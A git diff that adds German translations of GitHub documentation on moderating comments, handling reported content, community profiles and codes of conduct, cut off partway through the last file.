diff --git a/translations/de-DE/content/communities/moderating-comments-and-conversations/managing-disruptive-comments.md b/translations/de-DE/content/communities/moderating-comments-and-conversations/managing-disruptive-comments.md
new file mode 100644
index 0000000000..ae80431bfa
--- /dev/null
+++ b/translations/de-DE/content/communities/moderating-comments-and-conversations/managing-disruptive-comments.md
@@ -0,0 +1,100 @@
+---
+title: Störende Kommentare verwalten
+intro: 'Du kannst Kommentare zu Issues, Pull Requests und Commits {% ifversion fpt or ghec %}ausblenden, bearbeiten{% else %}bearbeiten{% endif %} oder löschen.'
+redirect_from:
+  - /articles/editing-a-comment
+  - /articles/deleting-a-comment
+  - /articles/managing-disruptive-comments
+  - /github/building-a-strong-community/managing-disruptive-comments
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Community
+shortTitle: Manage comments
+ms.openlocfilehash: f27a310b0ee299839967f6db402c6fdebbc129f0
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145105423'
+---
+## Einen Kommentar ausblenden
+
+{% ifversion fpt or ghec %}Organisationsmoderatoren und alle anderen Personen {% else %}Personen{% endif %} mit Schreibzugriff auf ein Repository können Kommentare zu Issues, Pull Requests und Commits einblenden.
+
+Wenn ein Kommentar nicht zum Thema passt, veraltet oder gelöst ist, kannst du ihn ausblenden, damit die Diskussion zielgerichtet bleibt oder die Navigation sowie der Review eines Pull Requests vereinfacht wird. Ausgeblendete Kommentare werden minimiert, aber Personen mit Lesezugriff auf das Repository können sie einblenden.
+
+![Minimierter Kommentar](/assets/images/help/repository/hidden-comment.png)
+
+1. Navigiere zum Kommentar, den du ausblenden möchtest.
+2. Klicke rechts oben im Kommentar auf {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} und anschließend auf **Ausblenden**.
+  ![Horizontales 3-Punkte-Symbol und Menü zum Moderieren der Unterhaltung mit den Optionen zum Bearbeiten, Ausblenden und Löschen](/assets/images/help/repository/comment-menu.png)
+3. Wähle im Dropdownmenü „Choose a reason" (Grund auswählen) einen Grund für das Ausblenden des Kommentars aus. Klicke dann auf **Kommentar ausblenden**.
+  {% ifversion fpt or ghec %} ![Dropdownmenü zur Auswahl des Grunds für das Ausblenden des Kommentars](/assets/images/help/repository/choose-reason-for-hiding-comment.png) {% else %} ![Dropdownmenü zur Auswahl des Grunds für das Ausblenden des Kommentars](/assets/images/help/repository/choose-reason-for-hiding-comment-ghe.png) {% endif %}
+
+## Einen ausgeblendeten Kommentar wieder anzeigen
+
+{% ifversion fpt or ghec %}Organisationsmoderatoren und alle anderen Personen {% else %}Personen{% endif %} mit Schreibzugriff auf ein Repository können Kommentare zu Issues, Pull Requests und Commits ausblenden.
+
+1. Navigiere zu dem Kommentar, den du wieder anzeigen möchten.
+2. Klicke rechts oben im Kommentar auf **{% octicon "fold" aria-label="The fold icon" %} Kommentar anzeigen**.
+   ![Text „Kommentar anzeigen“](/assets/images/help/repository/hidden-comment-show.png)
+3. Klicke auf der rechten Seite des angezeigten Kommentars auf {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} und anschließend auf **Wieder anzeigen**.
+   ![Horizontales 3-Punkte-Symbol und Menü zum Moderieren der Unterhaltung mit den Optionen zum Bearbeiten, Wiederanzeigen und Löschen](/assets/images/help/repository/comment-menu-hidden.png)
+
+## Einen Kommentar bearbeiten
+
+Jeder mit Schreibzugriff auf ein Repository kann Kommentare zu Issues, Pull Requests und Commits bearbeiten.
+
+Es ist angemessen, einen Kommentar zu bearbeiten und Inhalte zu entfernen, die nicht zur Unterhaltung beitragen und gegen den Verhaltenskodex{% ifversion fpt or ghec %} deiner Community oder die [Communityrichtlinien](/free-pro-team@latest/github/site-policy/github-community-guidelines){% endif %} von GitHub verstoßen.
+
+Mitunter kann es sinnvoll sein, Bearbeitungen und ihre Begründung deutlich anzugeben.
+
+Das heißt, dass jede Person mit Lesezugriff auf ein Repository den Bearbeitungsverlauf eines Kommentars einsehen kann. Das Dropdownmenü **Bearbeitet** oben im Kommentar enthält einen Verlauf der Bearbeitungen mit Benutzer und Zeitstempel jeder Bearbeitung.
+
+![Kommentar mit hinzugefügtem Hinweis, dass Inhalte redigiert wurden](/assets/images/help/repository/content-redacted-comment.png)
+
+## Redigieren sensibler Informationen
+
+Verfasser von Kommentaren und Personen mit Schreibzugriff auf ein Repository können auch vertrauliche Informationen aus dem Änderungsverlauf eines Kommentars löschen. Weitere Informationen findest du unter [Nachverfolgen von Änderungen in einem Kommentar](/communities/moderating-comments-and-conversations/tracking-changes-in-a-comment).
+
+1. Navigiere zu dem Kommentar, den du bearbeiten möchtest.
+2. Klicke rechts oben im Kommentar auf {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} und anschließend auf **Bearbeiten**.
+  ![Horizontales 3-Punkte-Symbol und Menü zum Moderieren der Unterhaltung mit den Optionen zum Bearbeiten, Ausblenden, Löschen und Melden](/assets/images/help/repository/comment-menu.png)
+3. Lösche im Kommentarfenster den Inhalt, den du entfernen möchtest, und gib dann `[REDACTED]` ein, um ihn zu ersetzen.
+  ![Kommentarfenster mit redigiertem Inhalt](/assets/images/help/issues/redacted-content-comment.png)
+4. Gib unten im Kommentar eine Notiz ein, in der du auf die Bearbeitung hinweist und optional den Grund dafür nennst.
+  ![Kommentarfenster mit hinzugefügtem Hinweis, dass Inhalte redigiert wurden](/assets/images/help/issues/note-content-redacted-comment.png)
+5. Klicke auf **Kommentar aktualisieren**.
+
+## Einen Kommentar löschen
+
+Personen mit Schreibzugriff auf ein Repository können Kommentare zu Issues, Pull Requests und Commits löschen. Organisationsinhaber, Team-Betreuer und die Verfasser des Kommentars können auch einen Kommentar auf einer Teamseite löschen.
+
+Wenn ein Kommentar auch Inhalte aufweist, die einen konstruktiven Beitrag zur Unterhaltung im Issue oder Pull Request darstellen, kannst du den Kommentar bearbeiten, anstatt ihn komplett zu löschen.
+
+Das Löschen eines Kommentars ist die letzte Option für Dich als Moderator. Es ist angemessen, einen Kommentar zu löschen, wenn der gesamte Kommentar keinen konstruktiven Inhalt zu einer Unterhaltung beiträgt und gegen den Verhaltenskodex{% ifversion fpt or ghec %} deiner Community oder die [Communityrichtlinien](/free-pro-team@latest/github/site-policy/github-community-guidelines){% endif %} von GitHub verstößt.
+
+Das Löschen eines Kommentars erstellt ein Zeitleistenereignis, das für alle Benutzer mit Lesezugriff auf das Repository sichtbar ist. Der Benutzername der Person, die den Kommentar gelöscht hat, ist jedoch nur für Benutzer mit Schreibzugriff auf das Repository zu sehen. Für Personen ohne Schreibzugriff ist das Zeitleistenereignis anonymisiert.
+
+![Anonymisiertes Zeitleistenereignis für einen gelöschten Kommentar](/assets/images/help/issues/anonymized-timeline-entry-for-deleted-comment.png)
+
+{% note %}
+
+**Hinweis:** Der anfängliche Kommentar (oder Text) eines Issues oder Pull Requests kann nicht gelöscht werden. Stattdessen kannst du den Text von Issues und Pull Requests bearbeiten und dabei unerwünschte Inhalte entfernen.
+
+{% endnote %}
+
+### Schritte zum Löschen eines Kommentars
+
+1. Navigiere zu dem Kommentar, den du löschen möchtest.
+2. Klicke rechts oben im Kommentar auf {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} und anschließend auf **Löschen**.
+  ![Horizontales 3-Punkte-Symbol und Menü zum Moderieren der Unterhaltung mit den Optionen zum Bearbeiten, Ausblenden, Löschen und Melden](/assets/images/help/repository/comment-menu.png)
+3. Verfasse optional einen Kommentar mit dem Hinweis, dass und warum du einen Kommentar gelöscht hast.
+
+{% ifversion fpt or ghec %}
+## Weiterführende Themen
+- [Verwalten von Moderatoren in deiner Organisation](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-moderators-in-your-organization) {% endif %} 
diff --git a/translations/de-DE/content/communities/moderating-comments-and-conversations/managing-how-contributors-report-abuse-in-your-organizations-repository.md b/translations/de-DE/content/communities/moderating-comments-and-conversations/managing-how-contributors-report-abuse-in-your-organizations-repository.md
new file mode 100644
index 0000000000..4eccd1f843
--- /dev/null
+++ b/translations/de-DE/content/communities/moderating-comments-and-conversations/managing-how-contributors-report-abuse-in-your-organizations-repository.md
@@ -0,0 +1,31 @@
+---
+title: 'Verwalten, wie Mitwirkende Missbrauch im Repository deiner Organisation melden'
+intro: 'Du kannst Mitwirkenden erlauben, störendes Verhalten direkt an die Repositoryverwalter*innen zu melden.'
+versions:
+  fpt: '*'
+  ghec: '*'
+redirect_from:
+  - /github/building-a-strong-community/managing-how-contributors-report-abuse-in-your-organizations-repository
+topics:
+  - Community
+shortTitle: Manage abuse in your org
+ms.openlocfilehash: abd3d429f8d4143a4e28d18d2b22f508a1aa61b8
+ms.sourcegitcommit: ac00e2afa6160341c5b258d73539869720b395a4
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147876873'
+---
+Personen mit Administratorberechtigungen auf ein Repository können verwalten, wie Mitwirkende Missbrauch im Repository melden.
+
+Du kannst „gemeldete Inhalte" für öffentliche Repositorys im Besitz einer Organisation aktivieren oder deaktivieren.
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.sidebar-moderation-reported-content %}
+4. Aktiviere oder deaktiviere unter „Gemeldeter Inhalt“ die Option **Inhaltsberichte von Mitarbeitern und vorherigen Mitwirkenden akzeptieren**.
+  ![Kontrollkästchen zum Abonnieren oder Kündigen gemeldeter Inhalte für ein Repository](/assets/images/help/repository/reported-content-opt-in-checkbox.png)
+
+## Weitere Informationsquellen
+
+- [Verwalten gemeldeter Inhalte im Repository deiner Organisation](/communities/moderating-comments-and-conversations/managing-reported-content-in-your-organizations-repository)
+- [Moderieren von Kommentaren und Unterhaltungen](/communities/moderating-comments-and-conversations)
+- [Informationen zur Communityverwaltung und -moderation](/communities/setting-up-your-project-for-healthy-contributions/about-community-management-and-moderation)
diff --git a/translations/de-DE/content/communities/moderating-comments-and-conversations/managing-reported-content-in-your-organizations-repository.md b/translations/de-DE/content/communities/moderating-comments-and-conversations/managing-reported-content-in-your-organizations-repository.md
new file mode 100644
index 0000000000..f3c1297fc3
--- /dev/null
+++ b/translations/de-DE/content/communities/moderating-comments-and-conversations/managing-reported-content-in-your-organizations-repository.md
@@ -0,0 +1,51 @@
+---
+title: Gemeldete Inhalte im Repository Deiner Organisation verwalten
+intro: 'Nachdem ein Mitwirkender einen störenden Inhalt in einem Repository gemeldet hat, können die Repository-Betreuer den Bericht ansehen und verwalten.'
+versions:
+  fpt: '*'
+  ghec: '*'
+redirect_from:
+  - /github/building-a-strong-community/managing-reported-content-in-your-organizations-repository
+topics:
+  - Community
+shortTitle: Manage reported content
+ms.openlocfilehash: 6b2107acd7a045e089814177dbabae24915d7ae1
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145105420'
+---
+Personen mit Administratorberechtigungen auf ein Repository können gemeldete Inhalte für das Repository anzeigen und verwalten.
+
+## Über die Verwaltung von gemeldeten Inhalten
+
+Bevor Du gemeldete Inhalte anzeigen oder verwalten kannst, musst Du „gemeldete Inhalte" für das Repository aktivieren. Weitere Informationen findest du unter [Verwalten der Meldung von Missbrauch durch Mitwirkende im Repository deiner Organisation](/communities/moderating-comments-and-conversations/managing-how-contributors-report-abuse-in-your-organizations-repository).
+
+Du kannst Berichte über störende Inhalte verfolgen, bewerten und darauf reagieren. In der Liste "Missbrauchsberichte" kannst Du alle Berichte anzeigen und direkt zu jedem gemeldeten Kommentar auf {% data variables.product.prodname_dotcom %} navigieren.
+
+{% data reusables.community.tools-for-moderating %}
+
+Nachdem Du die Moderation des störenden Inhalts abgeschlossen hast, kannst Du den Bericht als erledigt markieren. Wenn Du entscheidest, dass Du die Moderation noch nicht beendet hast, kannst Du den Bericht auch als ungelöst markieren.
+
+## Inhalte anzeigen, die ein Mitwirkender gemeldet hat
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.sidebar-moderation-reported-content %}
+4. Klicke rechts neben dem gemeldeten Inhalt, den du ansehen möchtest, auf {% octicon "kebab-horizontal" aria-label="The edit icon" %} und dann auf **Inhalt anzeigen**.
+  ![„Inhalt anzeigen“ im Dropdownmenü „Bearbeiten“ für gemeldeten Inhalt](/assets/images/help/repository/reported-content-report-view-content.png)
+
+## Einen Bericht erledigen
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.sidebar-moderation-reported-content %}
+4. Klicke rechts neben der Meldung, die du auflösen möchtest, auf {% octicon "kebab-horizontal" aria-label="The edit icon" %} und dann auf **Als gelöst markieren**.
+  ![„Als gelöst markieren“ im Dropdownmenü „Bearbeiten“ für gemeldeten Inhalt](/assets/images/help/repository/reported-content-mark-report-as-resolved.png)
+
+## Einen Bericht als ungelöst markieren
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.sidebar-moderation-reported-content %} {% data reusables.repositories.reported-content-resolved-tab %}
+5. Klicke rechts neben der Meldung, die du als ungelöst markieren möchtest, auf {% octicon "kebab-horizontal" aria-label="The edit icon" %} und dann auf **Als ungelöst markieren**.
+  ![„Als ungelöst markieren“ im Dropdownmenü „Bearbeiten“ für gemeldeten Inhalt](/assets/images/help/repository/reported-content-mark-report-as-unresolved.png)
+
+## Weiterführende Themen
+
+- [Informationen zur Communityverwaltung und -moderation](/communities/setting-up-your-project-for-healthy-contributions/about-community-management-and-moderation)
diff --git a/translations/de-DE/content/communities/moderating-comments-and-conversations/tracking-changes-in-a-comment.md b/translations/de-DE/content/communities/moderating-comments-and-conversations/tracking-changes-in-a-comment.md
new file mode 100644
index 0000000000..7a27b4d0d0
--- /dev/null
+++ b/translations/de-DE/content/communities/moderating-comments-and-conversations/tracking-changes-in-a-comment.md
@@ -0,0 +1,44 @@
+---
+title: Änderungen an einem Kommentar verfolgen
+intro: Du kannst den Änderungsverlauf eines Kommentars ansehen und vertrauliche Informationen aus dem Änderungsverlauf eines Kommentars löschen.
+redirect_from:
+  - /articles/tracking-changes-in-a-comment
+  - /github/building-a-strong-community/tracking-changes-in-a-comment
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Community
+shortTitle: Track comment changes
+ms.openlocfilehash: 7da6b53f9b98ade8ee73411a80aaf2ff3f412700
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145090222'
+---
+## Änderungsverlauf eines Kommentars anzeigen
+
+Jede Person mit Lesezugriff auf ein Repository kann den Änderungsverlauf eines darin enthaltenen Kommentars anzeigen.
+
+1. Navigiere zu dem Kommentar, dessen Änderungsverlauf Du anzeigen möchtest.
+{% data reusables.repositories.edited-comment-list %}
+
+## Vertrauliche Informationen aus dem Verlauf eines Kommentars löschen
+
+Verfasser von Kommentaren und Personen mit Schreibzugriff zu einem Repository können vertrauliche Informationen aus dem Änderungsverlauf eines Kommentars löschen.
+
+Wenn Du sensible Informationen aus dem Änderungsverlauf eines Kommentars löschst, bleiben die Person, die die Änderung vorgenommen hat, und der Zeitpunkt der Änderung im Kommentarverlauf ersichtlich, der Inhalt der Änderung ist aber nicht mehr verfügbar.
+
+1. Navigiere zu dem Kommentar, in dessen Änderungsverlauf Du vertrauliche Informationen löschen möchtest.
+{% data reusables.repositories.edited-comment-list %}
+3. Klicke rechts oben im Änderungsverlaufsfenster auf **Optionen**. Klicke dann auf **Revision aus Verlauf löschen**, um das Diff zu löschen, das den hinzugefügten Inhalt zeigt.
+  ![Löschen der Änderungsdetails eines Kommentars](/assets/images/help/repository/delete-comment-edit-details.png)
+4. Klicke zum Bestätigen des Löschens auf **OK**.
+
+## Weiterführende Themen
+
+{% ifversion fpt or ghec %}- [Melden von Missbrauch oder Spam](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam){% endif %}
+- [Bearbeiten eines Kommentars](/articles/editing-a-comment)
diff --git a/translations/de-DE/content/communities/setting-up-your-project-for-healthy-contributions/about-community-management-and-moderation.md b/translations/de-DE/content/communities/setting-up-your-project-for-healthy-contributions/about-community-management-and-moderation.md
new file mode 100644
index 0000000000..c1f743fb6a
--- /dev/null
+++ b/translations/de-DE/content/communities/setting-up-your-project-for-healthy-contributions/about-community-management-and-moderation.md
@@ -0,0 +1,43 @@
+---
+title: Über Community-Verwaltung und -Moderation
+intro: '{% data variables.product.prodname_dotcom %} bietet Werkzeuge für Repository-Betreuer, die helfen, Verhaltensstandards in ihren Gemeinschaften auf {% data variables.product.prodname_dotcom_the_website %} zu etablieren und durchzusetzen.'
+versions:
+  fpt: '*'
+  ghec: '*'
+redirect_from:
+  - /github/building-a-strong-community/about-community-management-and-moderation
+topics:
+  - Community
+shortTitle: Management & moderation
+ms.openlocfilehash: 93e540042965ef7f31b5f270837b5641c29e72dd
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147431984'
+---
+## Über Community-Verwaltung und -Moderation
+
+{% data reusables.policies.github-community-guidelines-and-terms %}
+
+{% data variables.product.prodname_dotcom %} bietet Repository-Betreuern auch Werkzeuge, die helfen, höhere Verhaltensstandards in ihren Gemeinschaften auf {% data variables.product.prodname_dotcom_the_website %} zu etablieren und durchzusetzen.
+
+Organisationsbesitzer können Organisationsmitglieder als Moderatoren angeben. Dadurch erhalten diese Mitglieder Zugriff auf Moderationsfeatures, die andernfalls Organisationsbesitzern vorbehalten sind. Weitere Informationen findest du unter [Verwalten von Moderatoren in deiner Organisation](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-moderators-in-your-organization).
+
+Nachdem Du Verhaltensstandards für Deine Community festgelegt hast, kannst Du ein angenehmes und produktives Umfeld fördern, indem Du auf störendes Verhalten schnell und fair reagierst. Effektive Moderation schafft Vertrauen innerhalb Deiner Gemeinschaft und hilft Mitwirkenden, sich sicher und willkommen zu fühlen.
+
+## Werkzeuge für die Moderation Deiner Community
+
+Die Werkzeuge von {% data variables.product.prodname_dotcom %} straffen Management- und Moderationsaufgaben in Deiner Community, ohne umfassende Moderationserfahrung vorauszusetzen.
+
+Als ein Repository-Betreuer kannst Du Richtlinien für Beiträge an Dein Projekt entwerfen und sie im Projekt-Repository teilen. {% data variables.product.prodname_dotcom %} bietet eine Community-Profil-Checkliste an, die Dir beim Erstellen und Veröffentlichen von Community-Unterstützungsdateien hilft. Potenzielle Mitwirkende an Deinem Projekt können die Checkliste für Dein Community-Profil überprüfen, um mehr über die Standards Deiner Community zu erfahren und zu entscheiden, ob sie einen Beitrag leisten wollen. Weitere Informationen findest du unter [Einrichten deines Projekts für hilfreiche Beiträge](/communities/setting-up-your-project-for-healthy-contributions).
+
+{% data reusables.community.tools-for-moderating %}
+
+Mitwirkende können störende Inhalte jederzeit an {% data variables.contact.github_support %} melden. Wenn Du Dich für gemeldete Inhalte für ein öffentliches Repository in Deiner Organisation entscheidest, können Mitwirkende auch Kommentare mit störendem Verhalten direkt an Repository-Betreuer melden. Weitere Informationen findest du unter [Verwalten gemeldeter Inhalte im Repository deiner Organisation](/communities/moderating-comments-and-conversations/managing-reported-content-in-your-organizations-repository).
+
+## Weiterführende Themen
+
+- [Verhaltensregeln](https://opensource.guide/code-of-conduct/) in den Open-Source-Leitfäden
+- [Schaffen einladender Communitys](https://opensource.guide/building-community/) in den Open-Source-Leitfäden
+- [Führung und Governance](https://opensource.guide/leadership-and-governance/) in den Open-Source-Leitfäden
diff --git a/translations/de-DE/content/communities/setting-up-your-project-for-healthy-contributions/about-community-profiles-for-public-repositories.md b/translations/de-DE/content/communities/setting-up-your-project-for-healthy-contributions/about-community-profiles-for-public-repositories.md
new file mode 100644
index 0000000000..3c86de7552
--- /dev/null
+++ b/translations/de-DE/content/communities/setting-up-your-project-for-healthy-contributions/about-community-profiles-for-public-repositories.md
@@ -0,0 +1,50 @@
+---
+title: Informationen zu Community-Profilen für öffentliche Repositorys
+intro: 'Repository-Betreuer können einen Review des Community-Profils ihres öffentlichen Repositorys durchführen, um zu erfahren, wie sie dazu beitragen können, ihre Community zu vergrößern und Mitarbeiter zu unterstützen. Mitarbeiter können das Community-Profil eines öffentlichen Repositorys einsehen, um zu überprüfen, ob sie an dem Projekt mitwirken möchten.'
+redirect_from:
+  - /articles/viewing-your-community-profile
+  - /articles/about-community-profiles-for-public-repositories
+  - /github/building-a-strong-community/about-community-profiles-for-public-repositories
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Community
+shortTitle: Community profiles
+ms.openlocfilehash: 08a993bd20a63d21c156a80b0d46d19e1735d68b
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145090217'
+---
+Die Checkliste für Community-Profile prüft, ob ein Projekt empfohlene Community-Unterstützungsdateien, wie README, CODE_OF_CONDUCT, LICENSE oder CONTRIBUTING, an einem unterstützten Speicherort enthält. Weitere Informationen findest Du unter [Zugreifen auf das Community-Profil eines Projekts](/articles/accessing-a-project-s-community-profile).
+
+## Checkliste für Community-Profile als Repository-Betreuer verwenden
+
+Verwende als Repository-Betreuer die Checkliste für Community-Profile, um zu überprüfen, ob Dein Projekt den empfohlenen Community-Standards entspricht, damit Mitarbeiter Dein Projekt nutzen und daran mitwirken können. Weitere Informationen findest Du unter [Erstellen einer Community](https://opensource.guide/building-community/) in den Open-Source-Anleitungen.
+
+Wenn ein Projekt keine empfohlene Datei enthält, kannst Du auf **Add** (Hinzufügen) klicken, um eine Datei zu entwerfen und zu übermitteln.
+
+{% data reusables.repositories.valid-community-issues %} Weitere Informationen findest Du unter [Informationen zu Vorlagen für Issues und Pull Requests](/articles/about-issue-and-pull-request-templates).
+
+![Checkliste für Community-Profile mit empfohlenen Community-Standards für Betreuer](/assets/images/help/repository/add-button-community-profile.png)
+
+{% data reusables.repositories.security-guidelines %}
+
+## Checkliste für Community-Profile als Community-Mitglied oder -Mitarbeiter verwenden
+
+Als potenzieller Mitarbeiter kannst Du anhand der Checkliste für Community-Profile feststellen, ob ein Projekt den empfohlenen Community-Standards entspricht, und entscheiden, ob Du daran mitwirken möchtest. Weitere Informationen findest Du in der Beschreibung zum [Erstellen von Beiträgen](https://opensource.guide/how-to-contribute/#anatomy-of-an-open-source-project) in den Open-Source-Anleitungen.
+
+Wenn ein Projekt keine empfohlene Datei enthält, kannst Du auf **Propose** (Vorschlagen) klicken, um eine Datei zu entwerfen und zur Genehmigung an den Repository-Maintainer zu senden.
+
+![Checkliste für Community-Profile mit empfohlenen Community-Standards für Mitarbeiter](/assets/images/help/repository/propose-button-community-profile.png)
+
+## Weiterführende Themen
+
+- [Einen Verhaltenskodex zu Deinem Projekt hinzufügen](/articles/adding-a-code-of-conduct-to-your-project)
+- [Richtlinien für Repository-Mitarbeiter festlegen](/articles/setting-guidelines-for-repository-contributors)
+- [Eine Lizenz zu einem Repository hinzufügen](/articles/adding-a-license-to-a-repository)
+- [Informationen zu Vorlagen für Issues und Pull Requests](/articles/about-issue-and-pull-request-templates)
+- [Open-Source-Anleitungen](https://opensource.guide/)
+- [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %})
diff --git a/translations/de-DE/content/communities/setting-up-your-project-for-healthy-contributions/accessing-a-projects-community-profile.md b/translations/de-DE/content/communities/setting-up-your-project-for-healthy-contributions/accessing-a-projects-community-profile.md
new file mode 100644
index 0000000000..9e61f2a9a4
--- /dev/null
+++ b/translations/de-DE/content/communities/setting-up-your-project-for-healthy-contributions/accessing-a-projects-community-profile.md
@@ -0,0 +1,27 @@
+---
+title: Auf das Community-Profil eines Projekts zugreifen
+intro: 'Sieh dir das Community-Profil eines öffentlichen Repositorys an, um den Zustand eines Projekts zu überprüfen und zu entscheiden, ob du einen Beitrag leisten möchtest.'
+redirect_from:
+  - /articles/accessing-a-project-s-community-profile
+  - /articles/accessing-a-projects-community-profile
+  - /github/building-a-strong-community/accessing-a-projects-community-profile
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Community
+shortTitle: Access community profiles
+ms.openlocfilehash: 02814d45f56c9a7883bf482beb6040506b248b44
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145105416'
+---
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.accessing-repository-graphs %}
+3. Klicke auf der linken Seitenleiste auf **Community**.
+![„Community“ auf der linken Seitenleiste](/assets/images/help/graphs/graphs-sidebar-community-tab.png)
+
+## Weiterführende Themen
+
+- [Informationen zu Community-Profilen für öffentliche Repositorys](/articles/about-community-profiles-for-public-repositories)
diff --git a/translations/de-DE/content/communities/setting-up-your-project-for-healthy-contributions/adding-a-code-of-conduct-to-your-project.md b/translations/de-DE/content/communities/setting-up-your-project-for-healthy-contributions/adding-a-code-of-conduct-to-your-project.md
new file mode 100644
index 0000000000..49846cdc3b
--- /dev/null
+++ b/translations/de-DE/content/communities/setting-up-your-project-for-healthy-contributions/adding-a-code-of-conduct-to-your-project.md
@@ -0,0 +1,58 @@
+---
+title: Einen Verhaltenskodex zu Deinem Projekt hinzufügen
+intro: 'Mit einem Verhaltenskodex kannst du Standards für die Community festlegen, ein einladendes und integratives Projekt signalisieren, und die Verfahren für den Umgang mit Missbrauch aufzeigen.'
+redirect_from:
+  - /articles/adding-a-code-of-conduct-to-your-project
+  - /github/building-a-strong-community/adding-a-code-of-conduct-to-your-project
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Community
+shortTitle: Add a code of conduct
+ms.openlocfilehash: dcf1e589ae4f803017752f9e919aad304c570fbc
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145090216'
+---
+*Verhaltensregeln* legen die Standards für die Interaktion in einer Community fest. Er signalisiert, dass in dieser integrativen Umgebung alle Beiträge respektiert werden. Außerdem beschreibt er Verfahren für die Problembehandlung bei Schwierigkeiten zwischen Mitgliedern Deiner Projekt-Community. Weitere Informationen dazu, warum Verhaltensregeln Standards und Erwartungen für die Interaktion in einer Community festlegen, findest du im [Open-Source-Leitfaden](https://opensource.guide/code-of-conduct/).
+
+Bevor Du einen Verhaltenskodex für Dein Projekt einsetzt, solltest Du Folgendes tun:
+
+* Untersuche verschiedene Verhaltenskodizes, die für Open-Source-Projekte erstellt wurden. Wähle einen Kodex aus, der den Standards Deiner Community entspricht.
+* Überlege Dir eingehend, ob Du diesen Kodex durchsetzen willst und kannst.
+
+Du kannst deinem Projekt benutzerdefinierte Verhaltensregeln hinzufügen, die du mithilfe einer Vorlage oder manuell erstellst. Deine Verhaltensregeln sind in beiden Fällen verfügbar, aber der Eintrag „Verhaltensregeln“ wird im Communityprofil deines Repositorys nur dann als abgeschlossen gekennzeichnet, wenn du eine Vorlage verwendest. Wenn du Verhaltensregeln verwendest, die von einer anderen Person oder Organisation geschrieben wurden, musst du alle Zuordnungsrichtlinien aus der Quelle befolgen. Weitere Informationen zu Communityprofilen findest du unter [Informationen zu Communityprofilen für öffentliche Repositorys](//communities/setting-up-your-project-for-healthy-contributions/about-community-profiles-for-public-repositories).
+
+Du kannst Standardverhaltensregeln für deine Organisation oder dein persönliches Konto erstellen. Weitere Informationen findest du unter [Erstellen einer Standard-Communityintegritätsdatei](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file).
+
+## Einen Verhaltenskodex über eine Vorlage hinzufügen
+
+{% data variables.product.product_name %} bietet Vorlagen für gängige Verhaltenskodizes. So kannst du rasch einen Verhaltenskodex zu deinem Projekt hinzufügen.
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.files.add-file %}
+3. Gib im Feld für den Dateinamen *CODE_OF_CONDUCT.md* ein.
+4. Klicke auf **Vorlage für Verhaltensregeln auswählen**.
+  ![Schaltfläche zum Auswählen einer Vorlage für Verhaltensregeln](/assets/images/help/repository/code-of-conduct-tool.png)
+5. Wähle auf der linken Seite einen Verhaltenskodex aus, um eine Vorschau anzuzeigen und den Kodex zu Deinem Projekt hinzuzufügen.
+  ![Auswahl einer Vorlage für Verhaltensregeln](/assets/images/help/repository/code-of-conduct-tool-picker.png)
+6. Fülle die Felder auf der rechten Seite aus, um die richtigen Informationen in den ausgewählten Verhaltenskodex einzufügen.
+7. Klicke auf **Überprüfen und einreichen**.
+  ![Verhaltensregeln überprüfen und an das Projekt übermitteln](/assets/images/help/repository/code-of-conduct-tool-review.png)
+8. Überprüfe den Inhalt des Verhaltenskodex, der sich im Textbereich befindet.
+{% data reusables.files.write_commit_message %} {% data reusables.files.choose_commit_branch %} {% data reusables.files.propose_new_file %}
+
+## Einen Verhaltenskodex manuell hinzufügen
+
+Wenn die Verhaltensregeln, die du verwenden möchtest, in den bereitgestellten Vorlagen nicht verfügbar sind, kannst du Verhaltensregeln manuell hinzufügen.
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.files.add-file %}
+3. Gib im Feld für den Dateinamen den Namen und die Erweiterung für die Datei ein.
